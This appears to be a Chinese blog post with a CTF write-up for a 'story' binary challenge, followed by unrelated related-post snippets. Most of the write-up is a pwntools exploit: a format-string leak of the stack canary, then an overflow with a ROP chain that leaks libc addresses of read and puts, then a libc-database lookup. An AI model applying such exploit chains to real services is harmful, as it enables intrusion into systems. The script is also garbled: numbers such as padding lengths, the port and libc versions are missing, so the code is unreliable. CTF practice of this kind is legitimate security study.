无限story服务器质量,story 泄露服务器libc版本

记录下学到的姿势,利用信息泄露得到服务器libc 至少两个函数偏移,利用libc-databse得到服务器libc版本

泄露脚本如下

from pwn import *

context.log_level='DEBUG'

r=remote('ctf2.linkedbyx.com',)

#r=process('./story')

elf=ELF('./story')

'''

rop_chain=

payload='a'*0x90+canary+'b'*+rop_chain

r.sendlineafter('Tell me the size of your story:',payload)

'''

'''

0x0000000000400bd3 : pop rdi ; ret

'''

main=0x0000000000400876

r.sendlineafter('Please Tell Your ID:','%15$p')

r.recvuntil('Hello ')

canary=int(r.recv(),)

success('canary:'+hex(canary))

payload='a'*0x88+p64(canary)+'b'*+p64(0x0000000000400bd3)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)

r.sendlineafter(':','')

r.sendlineafter(':',payload)

read=r.recv()

print read

#success('read:'+hex(read))

#r.interactive()

r.sendlineafter('Please Tell Your ID:','%15$p')

r.recvuntil('Hello ')

canary=int(r.recv(),)

success('canary:'+hex(canary))

payload='a'*0x88+p64(canary)+'b'*+p64(0x0000000000400bd3)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)

r.sendlineafter(':','')

r.sendlineafter(':',payload)

puts=r.recv()

print puts

r.interactive()

之后./find read 250 puts 690即可泄露服务器libc

root@snip3r:~/libc-database# ./find read puts

ubuntu-xenial-amd64-libc6 (id libc6_2.-0ubuntu10_amd64)

archive-glibc (id libc6_2.-0ubuntu11_amd64)

有了libc直接构造ROP即可

java24 手写服务器最终版本

手写服务器最终版本; <?xml version="1.0" encoding="UTF-8"?>

常见Linux服务器操作系统版本中自带的OpenSSL版本

下表是常见服务器操作系统版本中自带的OpenSSL版本: 从上表可以看出,目前常用的服务器版本中,默认OpenSSL为1.0.2的只有Ubuntu 16.04 LTS.其他版本如果要升级OpenSSL ...

Git回退到服务器某个版本正确姿势

背景: Git协作中,成员不可避免地会提交一些错误的版本,由于Git相比SVN引入了本地仓库,操作会相对复杂,以下为姿势分解 找一个源文件RspUtils.java,加上一行注释 //测试回退git服 ...

获取DNS服务器的版本信息

1 如何获取DNS服务器的版本信息 向某个DNS服务器发送下面的请求即可获得版本信息 dig @115.124.17.156 version.bind chaos txt 它返回的信息如下: ; &l ...

通过SSH服务登陆linux服务器(版本RHEL7)

通过SSH服务登陆linux服务器(版本RHEL7) SSH服务概述:是一种能够以安全的方式提供远程登陆的协议,也是目前远程管理linux系统的首选方式.在此之前,我们一般使用FTP或者telnet来 ...

git回退版本: 回退本地代码版本 &plus; 回退服务器代码版本

1.回退本地代码版本 借助IDEA开发工具回退版本,点击Version Control ,查看历史版本号: 右击想要回退的版本号,选择Reset Current Branch hear... 选择 H ...

EasyDarwin开源流媒体服务器Golang版本:服务端录像功能发布

EasyDarwin开源流媒体服务器(www.easydarwin.org)现在使用Go版本实现了.最新的代码提交,已经支持了推流(或者拉流)的同时进行本地存储. 本地存储的原理,是在推流的同时启动f ...

linux SVN服务器创建版本库

1.安装svn服务 # yuminstall subversion 2.新建一个目录用于存储SVN所有文件    # mkdir /home/svn 3.在上面创建的文件夹中为项目 project_1 ...

git 新建服务器的版本以及项目的用户

一, git客户端账号生成 1. git的客户端的公钥生成 ssh-keygen -t rsa -C "test@gmail.com" mac机器会在 /Users/用户/.ssh ...

随机推荐

HTML 播放器 写给自己

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值